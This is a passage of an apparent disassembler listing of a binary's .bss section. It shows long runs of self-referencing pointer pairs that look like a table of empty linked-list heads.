; .bss:4001C994o
dd offset off_4001C990
off_4001C998 dd offset off_4001C998 ; DATA XREF: .bss:off_4001C998o
; .bss:4001C99Co
dd offset off_4001C998
off_4001C9A0 dd offset off_4001C9A0 ; DATA XREF: .bss:off_4001C9A0o
; .bss:4001C9A4o
dd offset off_4001C9A0
off_4001C9A8 dd offset off_4001C9A8 ; DATA XREF: .bss:off_4001C9A8o
; .bss:4001C9ACo
dd offset off_4001C9A8
off_4001C9B0 dd offset off_4001C9B0 ; DATA XREF: .bss:off_4001C9B0o
; .bss:4001C9B4o
dd offset off_4001C9B0
off_4001C9B8 dd offset off_4001C9B8 ; DATA XREF: .bss:off_4001C9B8o
; .bss:4001C9BCo
dd offset off_4001C9B8
off_4001C9C0 dd offset off_4001C9C0 ; DATA XREF: .bss:off_4001C9C0o
; .bss:4001C9C4o
dd offset off_4001C9C0
off_4001C9C8 dd offset off_4001C9C8 ; DATA XREF: .bss:off_4001C9C8o
; .bss:4001C9CCo
dd offset off_4001C9C8
off_4001C9D0 dd offset off_4001C9D0 ; DATA XREF: .bss:off_4001C9D0o
; .bss:4001C9D4o
dd offset off_4001C9D0
off_4001C9D8 dd offset off_4001C9D8 ; DATA XREF: .bss:off_4001C9D8o
; .bss:4001C9DCo
dd offset off_4001C9D8
off_4001C9E0 dd offset off_4001C9E0 ; DATA XREF: .bss:off_4001C9E0o
; .bss:4001C9E4o
dd offset off_4001C9E0
off_4001C9E8 dd offset off_4001C9E8 ; DATA XREF: .bss:off_4001C9E8o
; .bss:4001C9ECo
dd offset off_4001C9E8
off_4001C9F0 dd offset off_4001C9F0 ; DATA XREF: .bss:off_4001C9F0o
; .bss:4001C9F4o
dd offset off_4001C9F0
off_4001C9F8 dd offset off_4001C9F8 ; DATA XREF: .bss:off_4001C9F8o
; .bss:4001C9FCo
dd offset off_4001C9F8
off_4001CA00 dd offset off_4001CA00 ; DATA XREF: .bss:off_4001CA00o
; .bss:4001CA04o
dd offset off_4001CA00
off_4001CA08 dd offset off_4001CA08 ; DATA XREF: .bss:off_4001CA08o
; .bss:4001CA0Co
dd offset off_4001CA08
off_4001CA10 dd offset off_4001CA10 ; DATA XREF: .bss:off_4001CA10o
; .bss:4001CA14o
dd offset off_4001CA10
off_4001CA18 dd offset off_4001CA18 ; DATA XREF: .bss:off_4001CA18o
; .bss:4001CA1Co
dd offset off_4001CA18
off_4001CA20 dd offset off_4001CA20 ; DATA XREF: .bss:off_4001CA20o
; .bss:4001CA24o
dd offset off_4001CA20
off_4001CA28 dd offset off_4001CA28 ; DATA XREF: .bss:off_4001CA28o
; .bss:4001CA2Co
dd offset off_4001CA28
off_4001CA30 dd offset off_4001CA30 ; DATA XREF: .bss:off_4001CA30o
; .bss:4001CA34o
dd offset off_4001CA30
off_4001CA38 dd offset off_4001CA38 ; DATA XREF: .bss:off_4001CA38o
; .bss:4001CA3Co
dd offset off_4001CA38
off_4001CA40 dd offset off_4001CA40 ; DATA XREF: .bss:off_4001CA40o
; .bss:4001CA44o
dd offset off_4001CA40
off_4001CA48 dd offset off_4001CA48 ; DATA XREF: .bss:off_4001CA48o
; .bss:4001CA4Co
dd offset off_4001CA48
off_4001CA50 dd offset off_4001CA50 ; DATA XREF: .bss:off_4001CA50o
; .bss:4001CA54o
dd offset off_4001CA50
off_4001CA58 dd offset off_4001CA58 ; DATA XREF: .bss:off_4001CA58o
; .bss:4001CA5Co
dd offset off_4001CA58
off_4001CA60 dd offset off_4001CA60 ; DATA XREF: .bss:off_4001CA60o
; .bss:4001CA64o
dd offset off_4001CA60
off_4001CA68 dd offset off_4001CA68 ; DATA XREF: .bss:off_4001CA68o
; .bss:4001CA6Co
dd offset off_4001CA68
off_4001CA70 dd offset off_4001CA70 ; DATA XREF: .bss:off_4001CA70o
; .bss:4001CA74o
dd offset off_4001CA70
off_4001CA78 dd offset off_4001CA78 ; DATA XREF: .bss:off_4001CA78o
; .bss:4001CA7Co
dd offset off_4001CA78
off_4001CA80 dd offset off_4001CA80 ; DATA XREF: .bss:off_4001CA80o
; .bss:4001CA84o
dd offset off_4001CA80
off_4001CA88 dd offset off_4001CA88 ; DATA XREF: .bss:off_4001CA88o
; .bss:4001CA8Co
dd offset off_4001CA88
off_4001CA90 dd offset off_4001CA90 ; DATA XREF: .bss:off_4001CA90o
; .bss:4001CA94o
dd offset off_4001CA90
off_4001CA98 dd offset off_4001CA98 ; DATA XREF: .bss:off_4001CA98o
; .bss:4001CA9Co
dd offset off_4001CA98
off_4001CAA0 dd offset off_4001CAA0 ; DATA XREF: .bss:off_4001CAA0o
; .bss:4001CAA4o
dd offset off_4001CAA0
off_4001CAA8 dd offset off_4001CAA8 ; DATA XREF: .bss:off_4001CAA8o
; .bss:4001CAACo
dd offset off_4001CAA8
off_4001CAB0 dd offset off_4001CAB0 ; DATA XREF: .bss:off_4001CAB0o
; .bss:4001CAB4o
dd offset off_4001CAB0
off_4001CAB8 dd offset off_4001CAB8 ; DATA XREF: .bss:off_4001CAB8o
; .bss:4001CABCo
dd offset off_4001CAB8
off_4001CAC0 dd offset off_4001CAC0 ; DATA XREF: .bss:off_4001CAC0o
; .bss:4001CAC4o
dd offset off_4001CAC0
off_4001CAC8 dd offset off_4001CAC8 ; DATA XREF: .bss:off_4001CAC8o
; .bss:4001CACCo
dd offset off_4001CAC8
off_4001CAD0 dd offset off_4001CAD0 ; DATA XREF: .bss:off_4001CAD0o
; .bss:4001CAD4o
dd offset off_4001CAD0
off_4001CAD8 dd offset off_4001CAD8 ; DATA XREF: .bss:off_4001CAD8o
; .bss:4001CADCo
dd offset off_4001CAD8
off_4001CAE0 dd offset off_4001CAE0 ; DATA XREF: .bss:off_4001CAE0o
; .bss:4001CAE4o
dd offset off_4001CAE0
dd 2 dup(992090h), 2 dup(4001CAF0h), 2 dup(4001CAF8h)
dd 2 dup(4001CB00h), 2 dup(4001CB08h), 2 dup(4001CB10h)
dd 2 dup(4001CB18h), 2 dup(4001CB20h), 2 dup(4001CB28h)
dd 2 dup(4001CB30h), 2 dup(4001CB38h), 2 dup(4001CB40h)
dd 2 dup(4001CB48h), 2 dup(4001CB50h), 2 dup(4001CB58h)
dd 2 dup(4001CB60h), 2 dup(4001CB68h), 2 dup(4001CB70h)
dd 2 dup(4001CB78h), 2 dup(4001CB80h), 2 dup(4001CB88h)
dd 2 dup(4001CB90h), 2 dup(4001CB98h), 2 dup(4001CBA0h)
dd 2 dup(4001CBA8h), 2 dup(4001CBB0h), 2 dup(4001CBB8h)
dd 2 dup(4001CBC0h), 2 dup(4001CBC8h), 2 dup(4001CBD0h)
dd 2 dup(4001CBD8h), 2 dup(4001CBE0h), 2 dup(4001CBE8h)
dd 2 dup(4001CBF0h), 2 dup(4001CBF8h), 2 dup(4001CC00h)
dd 2 dup(4001CC08h), 2 dup(4001CC10h), 2 dup(4001CC18h)
dd 2 dup(4001CC20h), 2 dup(4001CC28h), 2 dup(4001CC30h)
dd 2 dup(4001CC38h), 2 dup(4001CC40h), 2 dup(4001CC48h)
dd 2 dup(4001CC50h), 2 dup(4001CC58h), 2 dup(4001CC60h)
dd 2 dup(4001CC68h), 2 dup(4001CC70h), 2 dup(4001CC78h)
dd 2 dup(4001CC80h), 2 dup(4001CC88h), 2 dup(4001CC90h)
dd 2 dup(4001CC98h), 2 dup(4001CCA0h), 2 dup(4001CCA8h)
dd 2 dup(4001CCB0h), 2 dup(4001CCB8h), 2 dup(4001CCC0h)
dd 2 dup(4001CCC8h), 2 dup(4001CCD0h), 2 dup(4001CCD8h)
dd 2 dup(4001CCE0h), 2 dup(4001CCE8h), 2 dup(4001CCF0h)
dd 2 dup(4001CCF8h), 2 dup(4001CD00h), 2 dup(4001CD08h)
dd 2 dup(4001CD10h), 2 dup(4001CD18h), 2 dup(4001CD20h)
dd 2 dup(4001CD28h), 2 dup(4001CD30h), 2 dup(4001CD38h)
dd 2 dup(4001CD40h), 2 dup(4001CD48h), 2 dup(4001CD50h)
dd 2 dup(4001CD58h), 2 dup(4001CD60h), 2 dup(4001CD68h)
dd 2 dup(4001CD70h), 2 dup(4001CD78h), 2 dup(4001CD80h)
dd 2 dup(4001CD88h), 2 dup(4001CD90h), 2 dup(4001CD98h)
dd 2 dup(4001CDA0h), 2 dup(4001CDA8h), 2 dup(4001CDB0h)
dd 2 dup(4001CDB8h), 2 dup(4001CDC0h), 2 dup(4001CDC8h)
dd 2 dup(4001CDD0h), 2 dup(4001CDD8h), 2 dup(4001CDE0h)
dd 2 dup(4001CDE8h), 2 dup(4001CDF0h), 2 dup(4001CDF8h)
dd 2 dup(4001CE00h), 2 dup(4001CE08h), 2 dup(4001CE10h)
dd 2 dup(4001CE18h), 2 dup(4001CE20h), 2 dup(4001CE28h)
dd 2 dup(4001CE30h), 2 dup(4001CE38h), 2 dup(4001CE40h)
dd 2 dup(4001CE48h), 2 dup(4001CE50h), 2 dup(4001CE58h)
dd 2 dup(4001CE60h), 2 dup(4001CE68h), 2 dup(4001CE70h)
dd 2 dup(4001CE78h), 2 dup(4001CE80h), 2 dup(4001CE88h)
dd 2 dup(4001CE90h), 2 dup(4001CE98h), 2 dup(4001CEA0h)
dd 2 dup(4001CEA8h), 2 dup(4001CEB0h), 2 dup(4001CEB8h)
dd 2 dup(4001CEC0h), 2 dup(4001CEC8h), 2 dup(4001CED0h)
dd 2 dup(4001CED8h), 2 dup(4001CEE0h), 2 dup(4001CEE8h)
dd 2 dup(4001CEF0h), 2 dup(4001CEF8h), 2 dup(4001CF00h)
dd 2 dup(4001CF08h), 2 dup(4001CF10h), 2 dup(4001CF18h)
dd 2 dup(4001CF20h), 2 dup(4001CF28h), 2 dup(4001CF30h)
dd 2 dup(4001CF38h), 2 dup(4001CF40h), 2 dup(4001CF48h)
dd 2 dup(4001CF50h), 2 dup(4001CF58h), 2 dup(4001CF60h)
dd 2 dup(4001CF68h), 2 dup(4001CF70h), 2 dup(4001CF78h)
dd 2 dup(4001CF80h), 2 dup(4001CF88h), 2 dup(4001CF90h)
dd 2 dup(4001CF98h), 2 dup(4001CFA0h), 2 dup(4001CFA8h)
dd 2 dup(4001CFB0h), 2 dup(4001CFB8h), 2 dup(4001CFC0h)
dd 2 dup(4001CFC8h), 2 dup(4001CFD0h), 2 dup(4001CFD8h)
dd 2 dup(4001CFE0h), 2 dup(9FDFF0h), 2 dup(4001CFF0h)
dd 2 dup(4001CFF8h), 2 dup(4001D000h), 2 dup(4001D008h)
dd 2 dup(4001D010h), 2 dup(4001D018h), 2 dup(4001D020h)
dd 2 dup(4001D028h), 2 dup(4001D030h), 2 dup(4001D038h)
dd 2 dup(4001D040h), 2 dup(4001D048h), 2 dup(4001D050h)
dd 2 dup(4001D058h), 2 dup(4001D060h), 2 dup(4001D068h)
dd 2 dup(4001D070h), 2 dup(4001D078h), 2 dup(4001D080h)
dd 2 dup(4001D088h), 2 dup(4001D090h), 2 dup(4001D098h)
dd 2 dup(4001D0A0h), 2 dup(4001D0A8h), 2 dup(4001D0B0h)
dd 2 dup(4001D0B8h), 2 dup(4001D0C0h), 2 dup(4001D0C8h)
dd 2 dup(4001D0D0h), 2 dup(4001D0D8h), 2 dup(4001D0E0h)
dd 2 dup(4001D0E8h), 2 dup(4001D0F0h), 2 dup(4001D0F8h)
dd 2 dup(4001D100h), 2 dup(4001D108h), 2 dup(4001D110h)
dd 2 dup(4001D118h), 2 dup(4001D120h), 2 dup(4001D128h)
dd 2 dup(4001D130h), 2 dup(4001D138h), 2 dup(4001D140h)
dd 2 dup(4001D148h), 2 dup(4001D150h), 2 dup(4001D158h)
dd 2 dup(4001D160h), 2 dup(4001D168h), 2 dup(4001D170h)
dd 2 dup(4001D178h), 2 dup(4001D180h), 2 dup(4001D188h)
dd 2 dup(4001D190h), 2 dup(4001D198h), 2 dup(4001D1A0h)
dd 2 dup(4001D1A8h), 2 dup(4001D1B0h), 2 dup(4001D1B8h)
dd 2 dup(4001D1C0h), 2 dup(4001D1C8h), 2 dup(4001D1D0h)
dd 2 dup(4001D1D8h), 2 dup(4001D1E0h), 2 dup(4001D1E8h)
dd 2 dup(4001D1F0h), 2 dup(4001D1F8h), 2 dup(4001D200h)
dd 2 dup(4001D208h), 2 dup(4001D210h), 2 dup(4001D218h)
dd 2 dup(4001D220h), 2 dup(4001D228h), 2 dup(4001D230h)
dd 2 dup(4001D238h), 2 dup(4001D240h), 2 dup(4001D248h)
dd 2 dup(4001D250h), 2 dup(4001D258h), 2 dup(4001D260h)
dd 2 dup(4001D268h), 2 dup(4001D270h), 2 dup(4001D278h)
dd 2 dup(4001D280h), 2 dup(4001D288h), 2 dup(4001D290h)
dd 2 dup(4001D298h), 2 dup(4001D2A0h), 2 dup(4001D2A8h)
dd 2 dup(4001D2B0h), 2 dup(4001D2B8h), 2 dup(4001D2C0h)
dd 2 dup(4001D2C8h), 2 dup(4001D2D0h), 2 dup(4001D2D8h)
dd 2 dup(4001D2E0h), 2 dup(4001D2E8h), 2 dup(4001D2F0h)
dd 2 dup(4001D2F8h), 2 dup(4001D300h), 2 dup(4001D308h)
dd 2 dup(4001D310h), 2 dup(4001D318h), 2 dup(4001D320h)
dd 2 dup(4001D328h), 2 dup(4001D330h), 2 dup(4001D338h)
dd 2 dup(4001D340h), 2 dup(4001D348h), 2 dup(4001D350h)
dd 2 dup(4001D358h), 2 dup(4001D360h), 2 dup(4001D368h)
dd 2 dup(4001D370h), 2 dup(4001D378h), 2 dup(4001D380h)
dd 2 dup(4001D388h), 2 dup(4001D390h), 2 dup(4001D398h)
dd 2 dup(4001D3A0h), 2 dup(4001D3A8h), 2 dup(4001D3B0h)
dd 2 dup(4001D3B8h), 2 dup(4001D3C0h), 2 dup(4001D3C8h)
dd 2 dup(4001D3D0h), 2 dup(4001D3D8h), 2 dup(4001D3E0h)
dd 2 dup(4001D3E8h), 2 dup(4001D3F0h), 2 dup(4001D3F8h)
dd 2 dup(4001D400h), 2 dup(4001D408h), 2 dup(4001D410h)
dd 2 dup(4001D418h), 2 dup(4001D420h), 2 dup(4001D428h)
dd 2 dup(4001D430h), 2 dup(4001D438h), 2 dup(4001D440h)
dd 2 dup(4001D448h), 2 dup(4001D450h), 2 dup(4001D458h)
dd 2 dup(4001D460h), 2 dup(4001D468h), 2 dup(4001D470h)
dd 2 dup(4001D478h), 2 dup(4001D480h), 2 dup(4001D488h)
dd 2 dup(4001D490h), 2 dup(4001D498h), 2 dup(4001D4A0h)
dd 2 dup(4001D4A8h), 2 dup(4001D4B0h), 2 dup(4001D4B8h)
dd 2 dup(4001D4C0h), 2 dup(4001D4C8h), 2 dup(4001D4D0h)
dd 2 dup(4001D4D8h), 2 dup(4001D4E0h), 2 dup(4001D4E8h)
dd 2 dup(4001D4F0h), 2 dup(4001D4F8h), 2 dup(4001D500h)
dd 2 dup(4001D508h), 2 dup(4001D510h), 2 dup(4001D518h)
dd 2 dup(4001D520h), 2 dup(4001D528h), 2 dup(4001D530h)
dd 2 dup(4001D538h), 2 dup(4001D540h), 2 dup(4001D548h)
dd 2 dup(4001D550h), 2 dup(4001D558h), 2 dup(4001D560h)
dd 2 dup(4001D568h), 2 dup(4001D570h), 2 dup(4001D578h)
dd 2 dup(4001D580h), 2 dup(4001D588h), 2 dup(4001D590h)
dd 2 dup(4001D598h), 2 dup(4001D5A0h), 2 dup(4001D5A8h)
dd 2 dup(4001D5B0h), 2 dup(4001D5B8h), 2 dup(4001D5C0h)
dd 2 dup(4001D5C8h), 2 dup(4001D5D0h), 2 dup(4001D5D8h)
dd 2 dup(4001D5E0h), 2 dup(4001D5E8h), 2 dup(4001D5F0h)
dd 2 dup(4001D5F8h), 2 dup(4001D600h), 2 dup(4001D608h)
dd 2 dup(4001D610h), 2 dup(4001D618h), 2 dup(4001D620h)
dd 2 dup(4001D628h), 2 dup(4001D630h), 2 dup(4001D638h)
dd 2 dup(4001D640h), 2 dup(4001D648h), 2 dup(4001D650h)
dd 2 dup(4001D658h), 2 dup(4001D660h), 2 dup(4001D668h)
dd 2 dup(4001D670h), 2 dup(4001D678h), 2 dup(4001D680h)
dd 2 dup(4001D688h), 2 dup(4001D690h), 2 dup(4001D698h)
dd 2 dup(4001D6A0h), 2 dup(4001D6A8h), 2 dup(4001D6B0h)
dd 2 dup(4001D6B8h), 2 dup(4001D6C0h), 2 dup(4001D6C8h)
dd 2 dup(4001D6D0h), 2 dup(4001D6D8h), 2 dup(4001D6E0h)
dd 2 dup(4001D6E8h), 2 dup(4001D6F0h), 2 dup(4001D6F8h)
dd 2 dup(4001D700h), 2 dup(4001D708h), 2 dup(4001D710h)
dd 2 dup(4001D718h), 2 dup(4001D720h), 2 dup(4001D728h)
dd 2 dup(4001D730h), 2 dup(4001D738h), 2 dup(4001D740h)
dd 2 dup(4001D748h), 2 dup(4001D750h), 2 dup(4001D758h)
dd 2 dup(4001D760h), 2 dup(4001D768h), 2 dup(4001D770h)
dd 2 dup(4001D778h), 2 dup(4001D780h), 2 dup(4001D788h)
dd 2 dup(4001D790h), 2 dup(4001D798h), 2 dup(4001D7A0h)
dd 2 dup(4001D7A8h), 2 dup(4001D7B0h), 2 dup(4001D7B8h)
dd 2 dup(4001D7C0h), 2 dup(4001D7C8h), 2 dup(4001D7D0h)
dd 2 dup(4001D7D8h), 2 dup(4001D7E0h), 2 dup(4001D7E8h)
dd 2 dup(4001D7F0h), 2 dup(4001D7F8h), 2 dup(4001D800h)
dd 2 dup(4001D808h), 2 dup(4001D810h), 2 dup(4001D818h)
dd 2 dup(4001D820h), 2 dup(4001D828h), 2 dup(4001D830h)
dd 2 dup(4001D838h), 2 dup(4001D840h), 2 dup(4001D848h)
dd 2 dup(4001D850h), 2 dup(4001D858h), 2 dup(4001D860h)
dd 2 dup(4001D868h), 2 dup(4001D870h), 2 dup(4001D878h)
dd 2 dup(4001D880h), 2 dup(4001D888h), 2 dup(4001D890h)
dd 2 dup(4001D898h), 2 dup(4001D8A0h), 2 dup(4001D8A8h)
dd 2 dup(4001D8B0h), 2 dup(4001D8B8h), 2 dup(4001D8C0h)
dd 2 dup(4001D8C8h), 2 dup(4001D8D0h), 2 dup(4001D8D8h)
dd 2 dup(4001D8E0h), 2 dup(4001D8E8h), 2 dup(4001D8F0h)
dd 2 dup(4001D8F8h), 2 dup(4001D900h), 2 dup(4001D908h)
dd 2 dup(4001D910h), 2 dup(4001D918h), 2 dup(4001D920h)
dd 2 dup(4001D928h), 2 dup(4001D930h), 2 dup(4001D938h)
dd 2 dup(4001D940h), 2 dup(4001D948h), 2 dup(4001D950h)
dd 2 dup(4001D958h), 2 dup(4001D960h), 2 dup(4001D968h)
dd 2 dup(4001D970h), 2 dup(4001D978h), 2 dup(4001D980h)
dd 2 dup(4001D988h), 2 dup(4001D990h), 2 dup(4001D998h)
dd 2 dup(4001D9A0h), 2 dup(4001D9A8h), 2 dup(4001D9B0h)
dd 2 dup(4001D9B8h), 2 dup(4001D9C0h), 2 dup(4001D9C8h)
dd 2 dup(4001D9D0h), 2 dup(4001D9D8h), 2 dup(4001D9E0h)
dd 2 dup(4001D9E8h), 2 dup(4001D9F0h), 2 dup(4001D9F8h)
dd 2 dup(4001DA00h), 2 dup(4001DA08h), 2 dup(4001DA10h)
dd 2 dup(4001DA18h), 2 dup(4001DA20h), 2 dup(4001DA28h)
dd 2 dup(4001DA30h), 2 dup(4001DA38h), 2 dup(4001DA40h)
dd 2 dup(4001DA48h), 2 dup(4001DA50h), 2 dup(4001DA58h)
dd 2 dup(4001DA60h), 2 dup(4001DA68h), 2 dup(4001DA70h)
dd 2 dup(4001DA78h), 2 dup(4001DA80h), 2 dup(4001DA88h)
dd 2 dup(4001DA90h), 2 dup(4001DA98h), 2 dup(4001DAA0h)
dd 2 dup(4001DAA8h), 2 dup(4001DAB0h), 2 dup(4001DAB8h)
dd 2 dup(4001DAC0h), 2 dup(4001DAC8h), 2 dup(4001DAD0h)
dd 2 dup(4001DAD8h), 4001DAE0h
dd 4001DAE0h, 2 dup(4001DAE8h), 2 dup(4001DAF0h), 2 dup(4001DAF8h)
dd 2 dup(4001DB00h), 2 dup(4001DB08h), 2 dup(4001DB10h)
dd 2 dup(4001DB18h), 2 dup(4001DB20h), 2 dup(4001DB28h)
dd 2 dup(4001DB30h), 2 dup(4001DB38h), 2 dup(4001DB40h)
dd 2 dup(4001DB48h), 2 dup(4001DB50h), 2 dup(4001DB58h)
dd 2 dup(4001DB60h), 2 dup(4001DB68h), 2 dup(4001DB70h)
dd 2 dup(4001DB78h), 2 dup(4001DB80h), 2 dup(4001DB88h)
dd 2 dup(4001DB90h), 2 dup(4001DB98h), 2 dup(4001DBA0h)
dd 2 dup(4001DBA8h), 2 dup(4001DBB0h), 2 dup(4001DBB8h)
dd 2 dup(4001DBC0h), 2 dup(4001DBC8h), 2 dup(4001DBD0h)
dd 2 dup(4001DBD8h), 2 dup(4001DBE0h), 2 dup(4001DBE8h)
dd 2 dup(4001DBF0h), 2 dup(4001DBF8h), 2 dup(4001DC00h)
dd 2 dup(4001DC08h), 2 dup(4001DC10h), 2 dup(4001DC18h)
dd 2 dup(4001DC20h), 2 dup(4001DC28h), 2 dup(4001DC30h)
dd 2 dup(4001DC38h), 2 dup(4001DC40h), 2 dup(4001DC48h)
dd 2 dup(4001DC50h), 2 dup(4001DC58h), 2 dup(4001DC60h)
dd 2 dup(4001DC68h), 2 dup(4001DC70h), 2 dup(4001DC78h)
dd 2 dup(4001DC80h), 2 dup(4001DC88h), 2 dup(4001DC90h)
dd 2 dup(4001DC98h), 2 dup(4001DCA0h), 2 dup(4001DCA8h)
dd 2 dup(4001DCB0h), 2 dup(4001DCB8h), 2 dup(4001DCC0h)
dd 2 dup(4001DCC8h), 2 dup(4001DCD0h), 2 dup(4001DCD8h)
dd 2 dup(4001DCE0h), 2 dup(4001DCE8h), 2 dup(4001DCF0h)
dd 2 dup(4001DCF8h), 2 dup(4001DD00h), 2 dup(4001DD08h)
dd 2 dup(4001DD10h), 2 dup(4001DD18h), 2 dup(4001DD20h)
dd 2 dup(4001DD28h), 2 dup(4001DD30h), 2 dup(4001DD38h)
dd 2 dup(4001DD40h), 2 dup(4001DD48h), 2 dup(4001DD50h)
dd 2 dup(4001DD58h), 2 dup(4001DD60h), 2 dup(4001DD68h)
dd 2 dup(4001DD70h), 2 dup(4001DD78h), 2 dup(4001DD80h)
dd 2 dup(4001DD88h), 2 dup(4001DD90h), 2 dup(4001DD98h)
dd 2 dup(4001DDA0h), 2 dup(4001DDA8h), 2 dup(4001DDB0h)
dd 2 dup(4001DDB8h), 2 dup(4001DDC0h), 2 dup(4001DDC8h)
dd 2 dup(4001DDD0h), 2 dup(4001DDD8h), 2 dup(4001DDE0h)
dd 2 dup(4001DDE8h), 2 dup(4001DDF0h), 2 dup(4001DDF8h)
dd 2 dup(4001DE00h), 2 dup(4001DE08h), 2 dup(4001DE10h)
dd 2 dup(4001DE18h), 2 dup(4001DE20h), 2 dup(4001DE28h)
dd 2 dup(4001DE30h), 2 dup(4001DE38h), 2 dup(4001DE40h)
dd 2 dup(4001DE48h), 2 dup(4001DE50h), 2 dup(4001DE58h)
dd 2 dup(4001DE60h), 2 dup(4001DE68h), 2 dup(4001DE70h)
dd 2 dup(4001DE78h), 2 dup(4001DE80h), 2 dup(4001DE88h)
dd 2 dup(4001DE90h), 2 dup(4001DE98h), 2 dup(4001DEA0h)
dd 2 dup(4001DEA8h), 2 dup(4001DEB0h), 2 dup(4001DEB8h)
dd 2 dup(4001DEC0h), 2 dup(4001DEC8h), 2 dup(4001DED0h)
dd 2 dup(4001DED8h), 2 dup(4001DEE0h), 2 dup(4001DEE8h)
dd 2 dup(4001DEF0h), 2 dup(4001DEF8h), 2 dup(4001DF00h)
dd 2 dup(4001DF08h), 2 dup(4001DF10h), 2 dup(4001DF18h)
dd 2 dup(4001DF20h), 2 dup(4001DF28h), 2 dup(4001DF30h)
dd 2 dup(4001DF38h), 2 dup(4001DF40h), 2 dup(4001DF48h)
dd 2 dup(4001DF50h), 2 dup(4001DF58h), 2 dup(4001DF60h)
dd 2 dup(4001DF68h), 2 dup(4001DF70h), 2 dup(4001DF78h)
dd 2 dup(4001DF80h), 2 dup(4001DF88h), 2 dup(4001DF90h)
dd 2 dup(4001DF98h), 2 dup(4001DFA0h), 2 dup(4001DFA8h)
dd 2 dup(4001DFB0h), 2 dup(4001DFB8h), 2 dup(4001DFC0h)
dd 2 dup(4001DFC8h), 2 dup(4001DFD0h), 2 dup(4001DFD8h)
dd 2 dup(4001DFE0h), 2 dup(4001DFE8h), 2 dup(4001DFF0h)
dd 2 dup(4001DFF8h), 2 dup(4001E000h), 2 dup(4001E008h)
dd 2 dup(4001E010h), 2 dup(4001E018h), 2 dup(4001E020h)
dd 2 dup(4001E028h), 2 dup(4001E030h), 2 dup(4001E038h)
dd 2 dup(4001E040h), 2 dup(4001E048h), 2 dup(4001E050h)
dd 2 dup(4001E058h), 2 dup(4001E060h), 2 dup(4001E068h)
dd 2 dup(4001E070h), 2 dup(4001E078h), 2 dup(4001E080h)
dd 2 dup(4001E088h), 2 dup(4001E090h), 2 dup(4001E098h)
dd 2 dup(4001E0A0h), 2 dup(4001E0A8h), 2 dup(4001E0B0h)
dd 2 dup(4001E0B8h), 2 dup(4001E0C0h), 2 dup(4001E0C8h)
dd 2 dup(4001E0D0h), 2 dup(4001E0D8h), 2 dup(4001E0E0h)
dd 2 dup(4001E0E8h), 2 dup(4001E0F0h), 2 dup(4001E0F8h)
dd 2 dup(4001E100h), 2 dup(4001E108h), 2 dup(4001E110h)
dd 2 dup(4001E118h), 2 dup(4001E120h), 2 dup(4001E128h)
dd 2 dup(4001E130h), 2 dup(4001E138h), 2 dup(4001E140h)
dd 2 dup(4001E148h), 2 dup(4001E150h), 2 dup(4001E158h)
dd 2 dup(4001E160h), 2 dup(4001E168h), 2 dup(4001E170h)
dd 2 dup(4001E178h), 2 dup(4001E180h), 2 dup(4001E188h)
dd 2 dup(4001E190h), 2 dup(4001E198h), 2 dup(4001E1A0h)
dd 2 dup(4001E1A8h), 2 dup(4001E1B0h), 2 dup(4001E1B8h)
dd 2 dup(4001E1C0h), 2 dup(4001E1C8h), 2 dup(4001E1D0h)
dd 2 dup(4001E1D8h), 2 dup(4001E1E0h), 2 dup(4001E1E8h)
dd 2 dup(4001E1F0h), 2 dup(4001E1F8h), 2 dup(4001E200h)
dd 2 dup(4001E208h), 2 dup(4001E210h), 2 dup(4001E218h)
dd 2 dup(4001E220h), 2 dup(4001E228h), 2 dup(4001E230h)
dd 2 dup(4001E238h), 2 dup(4001E240h), 2 dup(4001E248h)
dd 2 dup(4001E250h), 2 dup(4001E258h), 2 dup(4001E260h)
dd 2 dup(4001E268h), 2 dup(4001E270h), 2 dup(4001E278h)
dd 2 dup(4001E280h), 2 dup(4001E288h), 2 dup(4001E290h)
dd 2 dup(4001E298h), 2 dup(4001E2A0h), 2 dup(4001E2A8h)
dd 2 dup(4001E2B0h), 2 dup(4001E2B8h), 2 dup(4001E2C0h)
dd 2 dup(4001E2C8h), 2 dup(4001E2D0h), 2 dup(4001E2D8h)
dd 2 dup(4001E2E0h), 2 dup(4001E2E8h), 2 dup(4001E2F0h)
dd 2 dup(4001E2F8h), 2 dup(4001E300h), 2 dup(4001E308h)
dd 2 dup(4001E310h), 2 dup(4001E318h), 2 dup(4001E320h)
dd 2 dup(4001E328h), 2 dup(4001E330h), 2 dup(4001E338h)
dd 2 dup(4001E340h), 2 dup(4001E348h), 2 dup(4001E350h)
dd 2 dup(4001E358h), 2 dup(4001E360h), 2 dup(4001E368h)
dd 2 dup(4001E370h), 2 dup(4001E378h), 2 dup(4001E380h)
dd 2 dup(4001E388h), 2 dup(4001E390h), 2 dup(4001E398h)
dd 2 dup(4001E3A0h), 2 dup(4001E3A8h), 2 dup(4001E3B0h)
dd 2 dup(4001E3B8h), 2 dup(4001E3C0h), 2 dup(4001E3C8h)
dd 2 dup(4001E3D0h), 2 dup(4001E3D8h), 2 dup(4001E3E0h)
dd 2 dup(4001E3E8h), 2 dup(4001E3F0h), 2 dup(4001E3F8h)
dd 2 dup(4001E400h), 2 dup(4001E408h), 2 dup(4001E410h)
dd 2 dup(4001E418h), 2 dup(4001E420h), 2 dup(4001E428h)
dd 2 dup(4001E430h), 2 dup(4001E438h), 2 dup(4001E440h)
dd 2 dup(4001E448h), 2 dup(4001E450h), 2 dup(4001E458h)
dd 2 dup(4001E460h), 2 dup(4001E468h), 2 dup(4001E470h)
dd 2 dup(4001E478h), 2 dup(4001E480h), 2 dup(4001E488h)
dd 2 dup(4001E490h), 2 dup(4001E498h), 2 dup(4001E4A0h)
dd 2 dup(4001E4A8h), 2 dup(4001E4B0h), 2 dup(4001E4B8h)
dd 2 dup(4001E4C0h), 2 dup(4001E4C8h), 2 dup(4001E4D0h)
dd 2 dup(4001E4D8h), 2 dup(4001E4E0h), 2 dup(4001E4E8h)
dd 2 dup(4001E4F0h), 2 dup(4001E4F8h), 2 dup(4001E500h)
dd 2 dup(4001E508h), 2 dup(4001E510h), 2 dup(4001E518h)
dd 2 dup(4001E520h), 2 dup(4001E528h), 2 dup(4001E530h)
dd 2 dup(4001E538h), 2 dup(4001E540h), 2 dup(4001E548h)
dd 2 dup(4001E550h), 2 dup(4001E558h), 2 dup(4001E560h)
dd 2 dup(4001E568h), 2 dup(4001E570h), 2 dup(4001E578h)
dd 2 dup(4001E580h), 2 dup(4001E588h), 2 dup(4001E590h)
dd 2 dup(4001E598h), 2 dup(4001E5A0h), 2 dup(4001E5A8h)
dd 2 dup(4001E5B0h), 2 dup(4001E5B8h), 2 dup(4001E5C0h)
dd 2 dup(4001E5C8h), 2 dup(4001E5D0h), 2 dup(4001E5D8h)
